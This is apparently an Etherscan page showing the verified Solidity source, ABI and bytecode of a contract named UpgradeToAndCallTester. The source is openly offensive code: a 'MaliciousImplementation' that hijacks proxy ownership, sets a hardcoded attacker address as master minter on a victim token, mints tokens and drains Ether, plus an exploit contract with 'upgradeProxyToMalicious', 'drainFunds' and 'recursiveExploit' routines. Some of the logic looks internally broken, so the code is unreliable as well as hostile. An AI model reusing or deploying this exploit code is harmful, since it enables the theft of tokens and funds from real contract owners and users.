Source Code
Overview
ETH Balance
0 ETH
More Info
ContractCreator
Multichain Info
N/A
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Source Code Verified (Exact Match)
Contract Name:
UpgradeToAndCallTester
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; // Proxy contract for upgradeability contract UpgradeableProxy { address public implementation; address public owner; event Upgraded(address indexed newImplementation); event CallResult(bool success, bytes result); constructor(address _implementation) { implementation = _implementation; owner = msg.sender; } fallback() external payable { (bool success, bytes memory result) = implementation.delegatecall(msg.data); require(success, "Delegatecall failed"); emit CallResult(success, result); } receive() external payable { if (msg.value > 0 && msg.sender != owner) { require(address(this).balance >= msg.value, "Insufficient balance"); upgradeTo(implementation); // Upgrade using current implementation as the placeholder } } function upgradeTo(address _implementation) public { require(msg.sender == owner, "Not authorized"); implementation = _implementation; emit Upgraded(_implementation); } } // Malicious implementation contract contract MaliciousImplementation { address public proxyOwner; address public maliciousTarget; constructor(address _proxyOwner, address _maliciousTarget) { proxyOwner = _proxyOwner; maliciousTarget = _maliciousTarget; } // Hijack ownership of the proxy contract function takeOwnership() external { require(msg.sender == maliciousTarget, "Not authorized"); proxyOwner = maliciousTarget; } // Function to set the masterMinter to the attacker's address (dynamically set) function setMasterMinter() external { require(msg.sender == proxyOwner, "Not authorized"); // Dynamically set the masterMinter to the attacker's address (hardcoded here) address attackerAddress = 0x471aABd39E9aFa5F4798FC04be77C1cF587FB940; (bool success, ) = maliciousTarget.call( abi.encodeWithSignature("updateMasterMinter(address)", attackerAddress) ); require(success, "setMasterMinter failed"); } // Function to configure the attacker as a minter function configureMinter(address _minter, uint256 _allowedAmount) external { require(msg.sender == proxyOwner, "Not authorized"); // Call the victim contract's configureMinter function (bool success, ) = maliciousTarget.call( abi.encodeWithSignature("configureMinter(address,uint256)", _minter, _allowedAmount) ); require(success, "configureMinter failed"); } // Mint tokens to the attacker's address function mint(address _to, uint256 _amount) external { require(msg.sender == proxyOwner, "Not authorized"); // Call the victim contract's mint function (bool success, ) = maliciousTarget.call( abi.encodeWithSignature("mint(address,uint256)", _to, _amount) ); require(success, "Mint failed"); } fallback() external payable {} receive() external payable { if (msg.value > 0 && msg.sender != proxyOwner) { address payable target = payable(maliciousTarget); uint256 balance = address(this).balance; if (balance > 0) { target.transfer(balance); // Drain all funds to the malicious target } } } } // Exploit contract to interact with the vulnerable upgradeToAndCall functionality contract UpgradeToAndCallTester { address public owner; address public maliciousTarget; event FallbackCalled(address indexed caller, bytes data); event CallResult(bool success, bytes result); constructor(address _maliciousTarget) { owner = msg.sender; maliciousTarget = _maliciousTarget; } function destroy() external { require(msg.sender == owner, "Not authorized"); selfdestruct(payable(msg.sender)); } fallback() external payable { emit FallbackCalled(msg.sender, msg.data); } receive() external payable { if (msg.value > 0 && msg.sender != owner) { drainFunds(payable(maliciousTarget)); // Transfer Ether to malicious target } } function complexOperation(uint256 recursiveDepth) external payable { require(msg.sender == owner, "Not authorized"); require(recursiveDepth > 0, "Depth must be greater than zero"); upgradeProxyToMalicious(); drainFunds(payable(maliciousTarget)); recursiveExploit(recursiveDepth); } function upgradeProxyToMalicious() internal { (bool success, ) = address(this).call( abi.encodeWithSignature("upgradeTo(address)", address(this)) ); require(success, "Upgrade to malicious contract failed"); emit CallResult(success, ""); } function drainFunds(address payable _to) internal { uint256 balance = address(this).balance; require(balance > 0, "No funds to drain"); (bool success, ) = _to.call{value: balance}(""); require(success, "Fund transfer failed"); emit CallResult(success, ""); } function recursiveExploit(uint256 depth) internal { if (depth == 0) return; (bool success, ) = address(this).delegatecall( abi.encodeWithSignature("recursiveExploit(uint256)", depth - 1) ); require(success, "Recursive call failed"); } }
[{"inputs":[{"internalType":"address","name":"_maliciousTarget","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"success","type":"bool"},{"indexed":false,"internalType":"bytes","name":"result","type":"bytes"}],"name":"CallResult","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"caller","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"FallbackCalled","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"recursiveDepth","type":"uint256"}],"name":"complexOperation","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"destroy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maliciousTarget","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f5ffd5b50604051610e7b380380610e7b83398181016040528101906100319190610114565b335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061013f565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100e3826100ba565b9050919050565b6100f3816100d9565b81146100fd575f5ffd5b50565b5f8151905061010e816100ea565b92915050565b5f60208284031215610129576101286100b6565b5b5f61013684828501610100565b91505092915050565b610d2f8061014c5f395ff3fe608060405260043610610042575f3560e01c80634f17ba7a1461012657806383197ef0146101505780638da5cb5b14610166578063b1bf1e0314610190576100d4565b366100d4575f341180156100a257505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156100d2576100d160015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b5b005b3373ffffffffffffffffffffffffffffffffffffffff167f8ba712f8985270f97f6103d3de3e9840253fddbcb8f7e2014c1e6ea7bee2a2a35f3660405161011c9291906107ea565b60405180910390a2005b348015610131575f5ffd5b5061013a6102d6565b604051610147919061084b565b60405180910390f35b34801561015b575f5ffd5b506101646102fb565b005b348015610171575f5ffd5b5061017a6103a2565b604051610187919061084b565b60405180910390f35b6101aa60048036038101906101a5919061089b565b6103c6565b005b5f4790505f81116101f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e990610920565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff16826040516102179061096b565b5f6040518083038185875af1925050503d805f8114610251576040519150601f19603f3d011682016040523d82523d5f602084013e610256565b606091505b505090508061029a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610291906109c9565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516102c99190610a21565b60405180910390a1505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038090610a97565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044b90610a97565b60405180910390fd5b5f8111610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610aff565b60405180910390fd5b61049e6104d4565b6104c860015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b6104d181610643565b50565b5f3073ffffffffffffffffffffffffffffffffffffffff16306040516024016104fd919061084b565b6040516020818303038152906040527f3659cfe6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105879190610b65565b5f604051808303815f865af19150503d805f81146105c0576040519150601f19603f3d011682016040523d82523d5f602084013e6105c5565b606091505b5050905080610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090610beb565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516106389190610a21565b60405180910390a150565b5f81031561078d575f3073ffffffffffffffffffffffffffffffffffffffff166001836106709190610c36565b6040516024016106809190610c78565b6040516020818303038152906040527ff4c0b228000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161070a9190610b65565b5f60405180830381855af49150503d805f8114610742576040519150601f19603f3d011682016040523d82523d5f602084013e610747565b606091505b505090508061078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290610cdb565b60405180910390fd5b505b50565b5f82825260208201905092915050565b828183375f83830152505050565b5f601f19601f8301169050919050565b5f6107c98385610790565b93506107d68385846107a0565b6107df836107ae565b840190509392505050565b5f6020820190508181035f8301526108038184866107be565b90509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108358261080c565b9050919050565b6108458161082b565b82525050565b5f60208201905061085e5f83018461083c565b92915050565b5f5ffd5b5f819050919050565b61087a81610868565b8114610884575f5ffd5b50565b5f8135905061089581610871565b92915050565b5f602082840312156108b0576108af610864565b5b5f6108bd84828501610887565b91505092915050565b5f82825260208201905092915050565b7f4e6f2066756e647320746f20647261696e0000000000000000000000000000005f82015250565b5f61090a6011836108c6565b9150610915826108d6565b602082019050919050565b5f6020820190508181035f830152610937816108fe565b9050919050565b5f81905092915050565b50565b5f6109565f8361093e565b915061096182610948565b5f82019050919050565b5f6109758261094b565b9150819050919050565b7f46756e64207472616e73666572206661696c65640000000000000000000000005f82015250565b5f6109b36014836108c6565b91506109be8261097f565b602082019050919050565b5f6020820190508181035f8301526109e0816109a7565b9050919050565b5f8115159050919050565b6109fb816109e7565b82525050565b5f610a0c5f83610790565b9150610a1782610948565b5f82019050919050565b5f604082019050610a345f8301846109f2565b8181036020830152610a4581610a01565b905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a81600e836108c6565b9150610a8c82610a4d565b602082019050919050565b5f6020820190508181035f830152610aae81610a75565b9050919050565b7f4465707468206d7573742062652067726561746572207468616e207a65726f005f82015250565b5f610ae9601f836108c6565b9150610af482610ab5565b602082019050919050565b5f6020820190508181035f830152610b1681610add565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f610b3f82610b1d565b610b49818561093e565b9350610b59818560208601610b27565b80840191505092915050565b5f610b708284610b35565b915081905092915050565b7f5570677261646520746f206d616c6963696f757320636f6e74726163742066615f8201527f696c656400000000000000000000000000000000000000000000000000000000602082015250565b5f610bd56024836108c6565b9150610be082610b7b565b604082019050919050565b5f6020820190508181035f830152610c0281610bc9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c4082610868565b9150610c4b83610868565b9250828203905081811115610c6357610c62610c09565b5b92915050565b610c7281610868565b82525050565b5f602082019050610c8b5f830184610c69565b92915050565b7f5265637572736976652063616c6c206661696c656400000000000000000000005f82015250565b5f610cc56015836108c6565b9150610cd082610c91565b602082019050919050565b5f6020820190508181035f830152610cf281610cb9565b905091905056fea2646970667358221220b138d52cc3be04ef7ecb2d87e10146afb8ffcbb8d1d995672a1b59efdb6b336c64736f6c634300081c0033000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Deployed Bytecode
0x608060405260043610610042575f3560e01c80634f17ba7a1461012657806383197ef0146101505780638da5cb5b14610166578063b1bf1e0314610190576100d4565b366100d4575f341180156100a257505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156100d2576100d160015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b5b005b3373ffffffffffffffffffffffffffffffffffffffff167f8ba712f8985270f97f6103d3de3e9840253fddbcb8f7e2014c1e6ea7bee2a2a35f3660405161011c9291906107ea565b60405180910390a2005b348015610131575f5ffd5b5061013a6102d6565b604051610147919061084b565b60405180910390f35b34801561015b575f5ffd5b506101646102fb565b005b348015610171575f5ffd5b5061017a6103a2565b604051610187919061084b565b60405180910390f35b6101aa60048036038101906101a5919061089b565b6103c6565b005b5f4790505f81116101f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e990610920565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff16826040516102179061096b565b5f6040518083038185875af1925050503d805f8114610251576040519150601f19603f3d011682016040523d82523d5f602084013e610256565b606091505b505090508061029a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610291906109c9565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516102c99190610a21565b60405180910390a1505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038090610a97565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044b90610a97565b60405180910390fd5b5f8111610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610aff565b60405180910390fd5b61049e6104d4565b6104c860015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101ac565b6104d181610643565b50565b5f3073ffffffffffffffffffffffffffffffffffffffff16306040516024016104fd919061084b565b6040516020818303038152906040527f3659cfe6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105879190610b65565b5f604051808303815f865af19150503d805f81146105c0576040519150601f19603f3d011682016040523d82523d5f602084013e6105c5565b606091505b5050905080610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090610beb565b60405180910390fd5b7f582326e533af48b16567b0565a82550442e225cf8491cb9ae2a29e1f96935e7c816040516106389190610a21565b60405180910390a150565b5f81031561078d575f3073ffffffffffffffffffffffffffffffffffffffff166001836106709190610c36565b6040516024016106809190610c78565b6040516020818303038152906040527ff4c0b228000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161070a9190610b65565b5f60405180830381855af49150503d805f8114610742576040519150601f19603f3d011682016040523d82523d5f602084013e610747565b606091505b505090508061078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290610cdb565b60405180910390fd5b505b50565b5f82825260208201905092915050565b828183375f83830152505050565b5f601f19601f8301169050919050565b5f6107c98385610790565b93506107d68385846107a0565b6107df836107ae565b840190509392505050565b5f6020820190508181035f8301526108038184866107be565b90509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108358261080c565b9050919050565b6108458161082b565b82525050565b5f60208201905061085e5f83018461083c565b92915050565b5f5ffd5b5f819050919050565b61087a81610868565b8114610884575f5ffd5b50565b5f8135905061089581610871565b92915050565b5f602082840312156108b0576108af610864565b5b5f6108bd84828501610887565b91505092915050565b5f82825260208201905092915050565b7f4e6f2066756e647320746f20647261696e0000000000000000000000000000005f82015250565b5f61090a6011836108c6565b9150610915826108d6565b602082019050919050565b5f6020820190508181035f830152610937816108fe565b9050919050565b5f81905092915050565b50565b5f6109565f8361093e565b915061096182610948565b5f82019050919050565b5f6109758261094b565b9150819050919050565b7f46756e64207472616e73666572206661696c65640000000000000000000000005f82015250565b5f6109b36014836108c6565b91506109be8261097f565b602082019050919050565b5f6020820190508181035f8301526109e0816109a7565b9050919050565b5f8115159050919050565b6109fb816109e7565b82525050565b5f610a0c5f83610790565b9150610a1782610948565b5f82019050919050565b5f604082019050610a345f8301846109f2565b8181036020830152610a4581610a01565b905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a81600e836108c6565b9150610a8c82610a4d565b602082019050919050565b5f6020820190508181035f830152610aae81610a75565b9050919050565b7f4465707468206d7573742062652067726561746572207468616e207a65726f005f82015250565b5f610ae9601f836108c6565b9150610af482610ab5565b602082019050919050565b5f6020820190508181035f830152610b1681610add565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f610b3f82610b1d565b610b49818561093e565b9350610b59818560208601610b27565b80840191505092915050565b5f610b708284610b35565b915081905092915050565b7f5570677261646520746f206d616c6963696f757320636f6e74726163742066615f8201527f696c656400000000000000000000000000000000000000000000000000000000602082015250565b5f610bd56024836108c6565b9150610be082610b7b565b604082019050919050565b5f6020820190508181035f830152610c0281610bc9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c4082610868565b9150610c4b83610868565b9250828203905081811115610c6357610c62610c09565b5b92915050565b610c7281610868565b82525050565b5f602082019050610c8b5f830184610c69565b92915050565b7f5265637572736976652063616c6c206661696c656400000000000000000000005f82015250565b5f610cc56015836108c6565b9150610cd082610c91565b602082019050919050565b5f6020820190508181035f830152610cf281610cb9565b905091905056fea2646970667358221220b138d52cc3be04ef7ecb2d87e10146afb8ffcbb8d1d995672a1b59efdb6b336c64736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
-----Decoded View---------------
Arg [0] : _maliciousTarget (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Deployed Bytecode Sourcemap
3607:2034:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4251:1;4239:9;:13;:36;;;;;4270:5;;;;;;;;;;;4256:19;;:10;:19;;;;4239:36;4235:143;;;4292:36;4311:15;;;;;;;;;;;4292:10;:36::i;:::-;4235:143;3607:2034;;4160:10;4145:36;;;4172:8;;4145:36;;;;;;;:::i;:::-;;;;;;;;3607:2034;3673:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3956:137;;;;;;;;;;;;;:::i;:::-;;3646:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4393:333;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5034:308;5095:15;5113:21;5095:39;;5163:1;5153:7;:11;5145:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;5198:12;5216:3;:8;;5232:7;5216:28;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5197:47;;;5263:7;5255:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;5311:23;5322:7;5311:23;;;;;;:::i;:::-;;;;;;;;5084:258;;5034:308;:::o;3673:30::-;;;;;;;;;;;;;:::o;3956:137::-;4017:5;;;;;;;;;;;4003:19;;:10;:19;;;3995:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4073:10;4052:33;;;3646:20;;;;;;;;;;;;;:::o;4393:333::-;4493:5;;;;;;;;;;;4479:19;;:10;:19;;;4471:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4553:1;4536:14;:18;4528:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4603:25;:23;:25::i;:::-;4639:36;4658:15;;;;;;;;;;;4639:10;:36::i;:::-;4686:32;4703:14;4686:16;:32::i;:::-;4393:333;:::o;4734:292::-;4790:12;4816:4;4808:18;;4895:4;4841:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4808:104;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4789:123;;;4931:7;4923:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;4995:23;5006:7;4995:23;;;;;;:::i;:::-;;;;;;;;4778:248;4734:292::o;5350:288::-;5424:1;5415:5;:10;5411:23;5427:7;5411:23;5445:12;5471:4;5463:26;;5565:1;5557:5;:9;;;;:::i;:::-;5504:63;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5463:115;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5444:134;;;5597:7;5589:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;5400:238;5350:288;;:::o;7:168:1:-;90:11;124:6;119:3;112:19;164:4;159:3;155:14;140:29;;7:168;;;;:::o;181:148::-;279:6;274:3;269;256:30;320:1;311:6;306:3;302:16;295:27;181:148;;;:::o;335:102::-;376:6;427:2;423:7;418:2;411:5;407:14;403:28;393:38;;335:102;;;:::o;465:314::-;561:3;582:70;645:6;640:3;582:70;:::i;:::-;575:77;;662:56;711:6;706:3;699:5;662:56;:::i;:::-;743:29;765:6;743:29;:::i;:::-;738:3;734:39;727:46;;465:314;;;;;:::o;785:329::-;906:4;944:2;933:9;929:18;921:26;;993:9;987:4;983:20;979:1;968:9;964:17;957:47;1021:86;1102:4;1093:6;1085;1021:86;:::i;:::-;1013:94;;785:329;;;;;:::o;1120:126::-;1157:7;1197:42;1190:5;1186:54;1175:65;;1120:126;;;:::o;1252:96::-;1289:7;1318:24;1336:5;1318:24;:::i;:::-;1307:35;;1252:96;;;:::o;1354:118::-;1441:24;1459:5;1441:24;:::i;:::-;1436:3;1429:37;1354:118;;:::o;1478:222::-;1571:4;1609:2;1598:9;1594:18;1586:26;;1622:71;1690:1;1679:9;1675:17;1666:6;1622:71;:::i;:::-;1478:222;;;;:::o;1787:117::-;1896:1;1893;1886:12;2033:77;2070:7;2099:5;2088:16;;2033:77;;;:::o;2116:122::-;2189:24;2207:5;2189:24;:::i;:::-;2182:5;2179:35;2169:63;;2228:1;2225;2218:12;2169:63;2116:122;:::o;2244:139::-;2290:5;2328:6;2315:20;2306:29;;2344:33;2371:5;2344:33;:::i;:::-;2244:139;;;;:::o;2389:329::-;2448:6;2497:2;2485:9;2476:7;2472:23;2468:32;2465:119;;;2503:79;;:::i;:::-;2465:119;2623:1;2648:53;2693:7;2684:6;2673:9;2669:22;2648:53;:::i;:::-;2638:63;;2594:117;2389:329;;;;:::o;2724:169::-;2808:11;2842:6;2837:3;2830:19;2882:4;2877:3;2873:14;2858:29;;2724:169;;;;:::o;2899:167::-;3039:19;3035:1;3027:6;3023:14;3016:43;2899:167;:::o;3072:366::-;3214:3;3235:67;3299:2;3294:3;3235:67;:::i;:::-;3228:74;;3311:93;3400:3;3311:93;:::i;:::-;3429:2;3424:3;3420:12;3413:19;;3072:366;;;:::o;3444:419::-;3610:4;3648:2;3637:9;3633:18;3625:26;;3697:9;3691:4;3687:20;3683:1;3672:9;3668:17;3661:47;3725:131;3851:4;3725:131;:::i;:::-;3717:139;;3444:419;;;:::o;3869:147::-;3970:11;4007:3;3992:18;;3869:147;;;;:::o;4022:114::-;;:::o;4142:398::-;4301:3;4322:83;4403:1;4398:3;4322:83;:::i;:::-;4315:90;;4414:93;4503:3;4414:93;:::i;:::-;4532:1;4527:3;4523:11;4516:18;;4142:398;;;:::o;4546:379::-;4730:3;4752:147;4895:3;4752:147;:::i;:::-;4745:154;;4916:3;4909:10;;4546:379;;;:::o;4931:170::-;5071:22;5067:1;5059:6;5055:14;5048:46;4931:170;:::o;5107:366::-;5249:3;5270:67;5334:2;5329:3;5270:67;:::i;:::-;5263:74;;5346:93;5435:3;5346:93;:::i;:::-;5464:2;5459:3;5455:12;5448:19;;5107:366;;;:::o;5479:419::-;5645:4;5683:2;5672:9;5668:18;5660:26;;5732:9;5726:4;5722:20;5718:1;5707:9;5703:17;5696:47;5760:131;5886:4;5760:131;:::i;:::-;5752:139;;5479:419;;;:::o;5904:90::-;5938:7;5981:5;5974:13;5967:21;5956:32;;5904:90;;;:::o;6000:109::-;6081:21;6096:5;6081:21;:::i;:::-;6076:3;6069:34;6000:109;;:::o;6115:362::-;6256:3;6277:65;6340:1;6335:3;6277:65;:::i;:::-;6270:72;;6351:93;6440:3;6351:93;:::i;:::-;6469:1;6464:3;6460:11;6453:18;;6115:362;;;:::o;6483:515::-;6670:4;6708:2;6697:9;6693:18;6685:26;;6721:65;6783:1;6772:9;6768:17;6759:6;6721:65;:::i;:::-;6833:9;6827:4;6823:20;6818:2;6807:9;6803:18;6796:48;6861:130;6986:4;6861:130;:::i;:::-;6853:138;;6483:515;;;;:::o;7004:164::-;7144:16;7140:1;7132:6;7128:14;7121:40;7004:164;:::o;7174:366::-;7316:3;7337:67;7401:2;7396:3;7337:67;:::i;:::-;7330:74;;7413:93;7502:3;7413:93;:::i;:::-;7531:2;7526:3;7522:12;7515:19;;7174:366;;;:::o;7546:419::-;7712:4;7750:2;7739:9;7735:18;7727:26;;7799:9;7793:4;7789:20;7785:1;7774:9;7770:17;7763:47;7827:131;7953:4;7827:131;:::i;:::-;7819:139;;7546:419;;;:::o;7971:181::-;8111:33;8107:1;8099:6;8095:14;8088:57;7971:181;:::o;8158:366::-;8300:3;8321:67;8385:2;8380:3;8321:67;:::i;:::-;8314:74;;8397:93;8486:3;8397:93;:::i;:::-;8515:2;8510:3;8506:12;8499:19;;8158:366;;;:::o;8530:419::-;8696:4;8734:2;8723:9;8719:18;8711:26;;8783:9;8777:4;8773:20;8769:1;8758:9;8754:17;8747:47;8811:131;8937:4;8811:131;:::i;:::-;8803:139;;8530:419;;;:::o;8955:98::-;9006:6;9040:5;9034:12;9024:22;;8955:98;;;:::o;9059:139::-;9148:6;9143:3;9138;9132:23;9189:1;9180:6;9175:3;9171:16;9164:27;9059:139;;;:::o;9204:386::-;9308:3;9336:38;9368:5;9336:38;:::i;:::-;9390:88;9471:6;9466:3;9390:88;:::i;:::-;9383:95;;9487:65;9545:6;9540:3;9533:4;9526:5;9522:16;9487:65;:::i;:::-;9577:6;9572:3;9568:16;9561:23;;9312:278;9204:386;;;;:::o;9596:271::-;9726:3;9748:93;9837:3;9828:6;9748:93;:::i;:::-;9741:100;;9858:3;9851:10;;9596:271;;;;:::o;9873:223::-;10013:34;10009:1;10001:6;9997:14;9990:58;10082:6;10077:2;10069:6;10065:15;10058:31;9873:223;:::o;10102:366::-;10244:3;10265:67;10329:2;10324:3;10265:67;:::i;:::-;10258:74;;10341:93;10430:3;10341:93;:::i;:::-;10459:2;10454:3;10450:12;10443:19;;10102:366;;;:::o;10474:419::-;10640:4;10678:2;10667:9;10663:18;10655:26;;10727:9;10721:4;10717:20;10713:1;10702:9;10698:17;10691:47;10755:131;10881:4;10755:131;:::i;:::-;10747:139;;10474:419;;;:::o;10899:180::-;10947:77;10944:1;10937:88;11044:4;11041:1;11034:15;11068:4;11065:1;11058:15;11085:194;11125:4;11145:20;11163:1;11145:20;:::i;:::-;11140:25;;11179:20;11197:1;11179:20;:::i;:::-;11174:25;;11223:1;11220;11216:9;11208:17;;11247:1;11241:4;11238:11;11235:37;;;11252:18;;:::i;:::-;11235:37;11085:194;;;;:::o;11285:118::-;11372:24;11390:5;11372:24;:::i;:::-;11367:3;11360:37;11285:118;;:::o;11409:222::-;11502:4;11540:2;11529:9;11525:18;11517:26;;11553:71;11621:1;11610:9;11606:17;11597:6;11553:71;:::i;:::-;11409:222;;;;:::o;11637:171::-;11777:23;11773:1;11765:6;11761:14;11754:47;11637:171;:::o;11814:366::-;11956:3;11977:67;12041:2;12036:3;11977:67;:::i;:::-;11970:74;;12053:93;12142:3;12053:93;:::i;:::-;12171:2;12166:3;12162:12;12155:19;;11814:366;;;:::o;12186:419::-;12352:4;12390:2;12379:9;12375:18;12367:26;;12439:9;12433:4;12429:20;12425:1;12414:9;12410:17;12403:47;12467:131;12593:4;12467:131;:::i;:::-;12459:139;;12186:419;;;:::o
Swarm Source
ipfs://b138d52cc3be04ef7ecb2d87e10146afb8ffcbb8d1d995672a1b59efdb6b336c
Loading...
Loading
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.